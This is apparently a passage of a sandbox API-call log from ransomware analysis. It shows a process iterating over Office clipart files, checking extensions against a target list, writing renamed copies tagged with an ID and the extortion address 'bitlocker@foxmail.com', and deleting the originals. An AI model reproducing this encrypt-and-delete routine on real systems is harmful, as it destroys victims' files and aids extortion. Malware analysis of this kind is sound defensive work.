ReadFile (in: hFile=0x218, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.419] WriteFile (in: hFile=0x1e4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.419] SetEndOfFile (hFile=0x1e4) returned 1 [0195.419] CloseHandle (hObject=0x1e4) returned 1 [0195.419] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.419] SetEndOfFile (hFile=0x218) returned 1 [0195.420] CloseHandle (hObject=0x218) returned 1 [0195.420] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.420] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107490.wmf")) returned 1 [0195.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.421] lstrlenW (lpString=".doc") returned 4 [0195.421] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.421] lstrlenW (lpString=".docx") returned 5 [0195.421] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.421] lstrlenW (lpString=".pdf") returned 4 [0195.421] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.421] lstrlenW (lpString=".xls") returned 4 [0195.421] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.421] lstrlenW (lpString=".xlsx") returned 5 [0195.421] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.421] lstrlenW (lpString=".ppt") returned 4 [0195.421] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.421] lstrlenW (lpString=".zip") returned 4 [0195.421] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.421] lstrlenW (lpString=".rar") returned 4 [0195.421] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.421] lstrlenW (lpString=".bz2") returned 4 [0195.421] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.421] lstrlenW (lpString=".7z") returned 3 [0195.421] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.421] lstrlenW (lpString=".dbf") returned 4 [0195.421] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.421] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.421] lstrlenW (lpString=".1cd") returned 4 [0195.421] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.422] lstrlenW (lpString=".jpg") returned 4 [0195.422] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.422] lstrlenW (lpString=".doc") returned 4 [0195.422] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.422] lstrlenW (lpString=".docx") returned 5 [0195.422] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0195.422] lstrlenW (lpString=".pdf") returned 4 [0195.422] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.422] lstrlenW (lpString=".xls") returned 4 [0195.422] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.422] lstrlenW (lpString=".xlsx") returned 5 [0195.422] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0195.422] lstrlenW (lpString=".ppt") returned 4 [0195.422] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.422] lstrlenW (lpString=".zip") returned 4 [0195.422] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.422] lstrlenW (lpString=".rar") returned 4 [0195.422] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.422] lstrlenW (lpString=".bz2") returned 4 [0195.422] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.422] lstrlenW (lpString=".7z") returned 3 [0195.422] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.422] lstrlenW (lpString=".dbf") returned 4 [0195.422] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.422] lstrlenW (lpString=".1cd") returned 4 [0195.422] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107490.WMF") returned 63 [0195.423] lstrlenW (lpString=".jpg") returned 4 [0195.423] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.423] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.423] lstrlenW (lpString="J0107492.WMF") returned 12 [0195.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.423] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=6860) returned 1 [0195.423] CloseHandle (hObject=0x218) returned 1 [0195.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 0x20 [0195.423] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.424] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.424] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.424] GetLastError () returned 0x0 [0195.424] ReadFile (in: hFile=0x218, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1acc, lpOverlapped=0x0) returned 1 [0195.426] WriteFile (in: hFile=0x1e4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1ad0, lpOverlapped=0x0) returned 1 [0195.426] ReadFile (in: hFile=0x218, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.426] WriteFile (in: hFile=0x1e4, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.427] SetEndOfFile (hFile=0x1e4) returned 1 [0195.427] CloseHandle (hObject=0x1e4) returned 1 [0195.427] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.427] SetEndOfFile (hFile=0x218) returned 1 [0195.427] CloseHandle (hObject=0x218) returned 1 [0195.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0195.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.428] lstrlenW (lpString=".doc") returned 4 [0195.428] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.428] lstrlenW (lpString=".docx") returned 5 [0195.428] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.428] lstrlenW (lpString=".pdf") returned 4 [0195.428] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.428] lstrlenW (lpString=".xls") returned 4 [0195.428] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.428] lstrlenW (lpString=".xlsx") returned 5 [0195.428] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.428] lstrlenW (lpString=".ppt") returned 4 [0195.428] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.428] lstrlenW (lpString=".zip") returned 4 [0195.428] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.428] lstrlenW (lpString=".rar") returned 4 [0195.428] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.428] lstrlenW (lpString=".bz2") returned 4 [0195.429] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.429] lstrlenW (lpString=".7z") returned 3 [0195.429] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.429] lstrlenW (lpString=".dbf") returned 4 [0195.429] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.429] lstrlenW (lpString=".1cd") returned 4 [0195.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.429] lstrlenW (lpString=".jpg") returned 4 [0195.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.429] lstrlenW (lpString=".doc") returned 4 [0195.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.429] lstrlenW (lpString=".docx") returned 5 [0195.429] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.429] lstrlenW (lpString=".pdf") returned 4 [0195.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.429] lstrlenW (lpString=".xls") returned 4 [0195.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.429] lstrlenW (lpString=".xlsx") returned 5 [0195.429] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.429] lstrlenW (lpString=".ppt") returned 4 [0195.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.429] lstrlenW (lpString=".zip") returned 4 [0195.429] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.625] lstrlenW (lpString=".rar") returned 4 [0195.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.625] lstrlenW (lpString=".bz2") returned 4 [0195.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.625] lstrlenW (lpString=".7z") returned 3 [0195.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.625] lstrlenW (lpString=".dbf") returned 4 [0195.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.632] lstrlenW (lpString=".1cd") returned 4 [0195.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107492.WMF") returned 63 [0195.633] lstrlenW (lpString=".jpg") returned 4 [0195.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.649] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.654] lstrlenW (lpString="J0107722.WMF") returned 12 [0195.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.655] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=8260) returned 1 [0195.655] CloseHandle (hObject=0x1f8) returned 1 [0195.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 0x20 [0195.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.655] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.655] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.656] GetLastError () returned 0x0 [0195.656] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x2044, lpOverlapped=0x0) returned 1 [0195.657] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x2050, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x2050, lpOverlapped=0x0) returned 1 [0195.659] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.659] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.659] SetEndOfFile (hFile=0x1f0) returned 1 [0195.659] CloseHandle (hObject=0x1f0) returned 1 [0195.659] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.659] SetEndOfFile (hFile=0x1f8) returned 1 [0195.660] CloseHandle (hObject=0x1f8) returned 1 [0195.660] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.660] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107722.wmf")) returned 1 [0195.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.660] lstrlenW (lpString=".doc") returned 4 [0195.660] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.661] lstrlenW (lpString=".docx") returned 5 [0195.661] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.661] lstrlenW (lpString=".pdf") returned 4 [0195.661] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.661] lstrlenW (lpString=".xls") returned 4 [0195.661] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.661] lstrlenW (lpString=".xlsx") returned 5 [0195.661] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.661] lstrlenW (lpString=".ppt") returned 4 [0195.661] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.661] lstrlenW (lpString=".zip") returned 4 [0195.661] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.661] lstrlenW (lpString=".rar") returned 4 [0195.661] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.661] lstrlenW (lpString=".bz2") returned 4 [0195.661] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.661] lstrlenW (lpString=".7z") returned 3 [0195.661] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.661] lstrlenW (lpString=".dbf") returned 4 [0195.661] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.661] lstrlenW (lpString=".1cd") returned 4 [0195.661] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.661] lstrlenW (lpString=".jpg") returned 4 [0195.661] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.661] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.661] lstrlenW (lpString=".doc") returned 4 [0195.662] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.662] lstrlenW (lpString=".docx") returned 5 [0195.662] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0195.662] lstrlenW (lpString=".pdf") returned 4 [0195.662] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.662] lstrlenW (lpString=".xls") returned 4 [0195.662] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.662] lstrlenW (lpString=".xlsx") returned 5 [0195.662] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0195.662] lstrlenW (lpString=".ppt") returned 4 [0195.662] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.662] lstrlenW (lpString=".zip") returned 4 [0195.662] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.662] lstrlenW (lpString=".rar") returned 4 [0195.662] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.662] lstrlenW (lpString=".bz2") returned 4 [0195.662] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.662] lstrlenW (lpString=".7z") returned 3 [0195.662] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.662] lstrlenW (lpString=".dbf") returned 4 [0195.662] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.662] lstrlenW (lpString=".1cd") returned 4 [0195.662] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.662] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107722.WMF") returned 63 [0195.662] lstrlenW (lpString=".jpg") returned 4 [0195.662] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.663] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.663] lstrlenW (lpString="J0107728.WMF") returned 12 [0195.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.663] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2dcff1c | out: lpFileSize=0x2dcff1c*=5492) returned 1 [0195.663] CloseHandle (hObject=0x1f8) returned 1 [0195.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf")) returned 0x20 [0195.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0195.663] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.663] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2dcfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107728.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107728.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0195.664] GetLastError () returned 0x0 [0195.664] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x1574, lpOverlapped=0x0) returned 1 [0195.665] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0x1580, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0x1580, lpOverlapped=0x0) returned 1 [0195.666] ReadFile (in: hFile=0x1f8, lpBuffer=0x38d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2dcfed4, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesRead=0x2dcfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.666] WriteFile (in: hFile=0x1f0, lpBuffer=0x38d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2dcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x38d0020*, lpNumberOfBytesWritten=0x2dcfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.666] SetEndOfFile (hFile=0x1f0) returned 1 [0195.667] CloseHandle (hObject=0x1f0) returned 1 [0195.667] SetFilePointerEx (in: hFile=0x1f8, 